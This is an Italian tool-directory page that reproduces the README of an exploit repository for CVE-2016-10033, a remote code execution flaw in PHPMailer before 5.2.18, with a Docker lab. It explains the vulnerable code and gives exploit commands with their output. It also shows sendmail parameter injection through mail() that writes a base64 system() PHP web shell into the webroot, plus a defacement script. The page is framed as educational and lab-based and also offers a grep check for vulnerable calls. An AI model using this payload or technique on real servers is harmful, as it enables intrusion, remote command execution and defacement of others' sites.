Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
exploit-CVE-2016-10033 — PHPMailer < 5.2.18 Esecuzione di codice remoto | Kitploit
Strumenti/GitHubGitHub/zeeshanbhattined/exploit-cve-2016-10033
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneStrumento di Accesso RemotoSviluppo PayloadLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
zeeshanbhattined/exploit-cve-2016-10033

exploit-CVE-2016-10033

PHPMailer < 5.2.18 Esecuzione di codice remoto

Vedi Repository
14 anni faNon ancora revisionato

PHPMailer < 5.2.18 Esecuzione di codice in remoto

Docker Pulls License

PHPMailer è la classe di trasporto più popolare al mondo, con circa 9 milioni di utenti in tutto il mondo. I download continuano a un ritmo significativo ogni giorno. Utilizzato da molti progetti open-source: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e molti altri

PHPMailer, nelle versioni precedenti alla 5.2.18, presenta una vulnerabilità che potrebbe portare all'esecuzione di codice in remoto (RCE). La funzione mailSend nel trasporto isMail di PHPMailer, quando la proprietà Sender non è impostata, potrebbe consentire a un attaccante remoto di passare parametri aggiuntivi al comando mail e, di conseguenza, eseguire codice arbitrario tramite un " (backslash e doppio apice) in un indirizzo From appositamente modificato.

Ambiente vulnerabile

Per configurare un ambiente vulnerabile per il tuo test avrai bisogno di Docker installato, e ti basterà eseguire il seguente comando:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

E verrà avviata un'applicazione web vulnerabile sul tuo host sulla porta 8080

vulnerable

Exploit

Per sfruttare questo target esegui semplicemente:

root@kitploit:~
./exploit host:port

Se stai usando questa immagine vulnerabile, puoi semplicemente eseguire:

root@kitploit:~
./exploit localhost:8080

Dopo lo sfruttamento, un file chiamato backdoor.php verrà memorizzato nella cartella root della directory web. E l'exploit ti fornirà una shell dove potrai inviare comandi alla backdoor:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Ecco fatto, hai la tua shell. C'è un altro exploit, che illustra un altro caso d'uso.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

E se visiti di nuovo la pagina, vedrai questo:

defaced

Codice vulnerabile

Prima di questo commit in class.phpmailer.php, in un determinato scenario non c'è alcun filtro sui caratteri speciali dell'indirizzo email del mittente. Questa falla può portare all'esecuzione di codice in remoto, tramite la funzione mail qui.

Analizzando il codice, non c'è alcun filtro nella funzione mailSend()

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender viene aggiunto direttamente alla variabile $params, che è stata filtrata nella funzione validateAddress(), ma poiché utilizza la specifica RFC 3696, consente determinati caratteri che romperanno le cose. In questo caso, le virgolette:

In aggiunta all'uso del backslash per l'escape, i caratteri convenzionali di doppio apice possono essere utilizzati per racchiudere stringhe. Ad esempio

"Abc@def"@example.com

"Fred Bloggs"@example.com

sono forme alternative dei primi due esempi sopra. Queste forme tra virgolette sono raramente raccomandate e sono poco comuni nella pratica, ma, come discusso sopra, devono essere supportate dalle applicazioni che elaborano indirizzi email. In particolare, le forme tra virgolette appaiono spesso nel contesto di indirizzi associati a transizioni da altri sistemi e contesti; tali requisiti transitori sorgono ancora e, poiché un sistema che accetta un indirizzo email fornito dall'utente non può "sapere" se quell'indirizzo è associato a un sistema legacy, le forme di indirizzo devono essere accettate e passate nell'ambiente email.

Puoi leggere l'intera RFC qui se vuoi. Inoltre, se la versione di PHP è inferiore alla 5.2.0 e PCRE non è installato, la variabile $patternselect in validateAddress() verrà impostata su noregex. Ciò farà sì che l'input possa evitare qualsiasi controllo regex. Passerà solo attraverso una piccola verifica:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Quindi, il flusso del codice passa alla funzione mailPassthru(), che, se eseguita in safe_mode, non sarà vulnerabile a questa falla, come afferma il seguente codice:

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Ma, se non è in esecuzione in safe_mode, il nostro parametro speciale verrà passato a mail() e, se saremo fortunati, il nostro file contenente qualunque cosa vogliamo venga scritta dove scegliamo noi.

Note sullo sfruttamento della funzione PHP mail()

Lo sfruttamento della funzione PHP mail() non è una novità, ma è ancora vivo e viene ancora utilizzato. Per spiegare come funziona, diamo un'occhiata a come è definita la funzione mail():

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Esistono diversi metodi di sfruttamento per ottenere risultati diversi; ci concentreremo sullo sfruttamento del 5° parametro per ottenere l'esecuzione di codice in remoto (RCE). Il parametro $additional_parameters viene utilizzato per passare flag aggiuntivi come opzioni della riga di comando al programma configurato per inviare l'email. Questa configurazione è definita dalla variabile sendmail_path.

Una nota sulla sicurezza dalla documentazione ufficiale di PHP:

Il parametro additional_parameters può essere utilizzato per passare flag aggiuntivi come opzioni della riga di comando al programma configurato per l'invio della posta, come definito dall'impostazione di configurazione sendmail_path. Ad esempio, può essere utilizzato per impostare l'indirizzo del mittente della busta quando si utilizza sendmail con l'opzione -f sendmiail.

Questo parametro viene sottoposto a escape internamente da escapeshellcmd() per prevenire l'esecuzione di comandi. escapeshellcmd() previene l'esecuzione di comandi, ma consente di aggiungere parametri aggiuntivi. Per motivi di sicurezza, si raccomanda all'utente di sanificare questo parametro per evitare di aggiungere parametri indesiderati al comando shell.

Considerando i parametri aggiuntivi che possono essere iniettati, utilizzeremo -X per sfruttare questa falla. Maggiori informazioni sul parametro -X

root@kitploit:~
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

Ci sono anche altri parametri interessanti che vale la pena conoscere:

root@kitploit:~
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

E

root@kitploit:~
-O option=value
Set option option to the specified value. This form uses long names.

E per l'opzione -O, QueueDirectory è l'opzione più interessante: questa opzione seleziona la directory in cui accodare i messaggi.

Se vuoi leggere l'intero elenco di parametri e opzioni, basta man sendmail o leggilo online qui

Sulla base di queste informazioni e della capacità di controllare almeno uno degli altri parametri, possiamo sfruttare l'host. Di seguito i passaggi per uno sfruttamento riuscito:

  • Controlla $additional_parameters e un altro parametro di mail()
  • Conosci una directory scrivibile sull'host di destinazione accessibile tramite il sistema e l'utente target (www-data per esempio). Di solito questa directory può essere qualsiasi cosa sotto webroot (cioè /var/www/html per altri sistemi, /www per questo esempio)
  • Qualsiasi payload PHP che desideri; in questo esempio stiamo usando un semplice payload system(), con un tocco di base64 e alcuni caratteri speciali | per renderlo più facile da analizzare.
  • Assembla semplicemente il tutto!

Ricorda che l'opzione -X scriverà il file di log, che conterrà tra le informazioni di log il tuo payload PHP, nella directory che indicherai. Un esempio di codice PHP vulnerabile:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

Se esegui il codice sopra, creerà un file di log in /www/backdoor.php; questa è l'essenza di questo exploit.

Payload

Di seguito il payload utilizzato in questo esempio

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

Voglio dare la caccia ai bug, e adesso?

Vuoi un modo semplice, con un solo comando, per provare a individuare questa falla? Ricorda questo magico comando grep!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Eseguendolo su questo repository si otterrà

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

Crediti

Questa vulnerabilità è stata trovata da Dawid Golunski.

Disclaimer

Questo programma o quelli precedenti sono SOLO per scopi educativi. Non utilizzarlo senza permesso. Vale la solita clausola di esclusione di responsabilità, in particolare il fatto che io (opsxcq) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o delle funzionalità fornite da questi programmi. L'autore o qualsiasi provider Internet NON si assume alcuna responsabilità per il contenuto o l'uso improprio di questi programmi o di qualsiasi loro derivato. Utilizzando questi programmi accetti il fatto che qualsiasi danno (perdita di dati, crash del sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di opsxcq.

Scarica lo strumento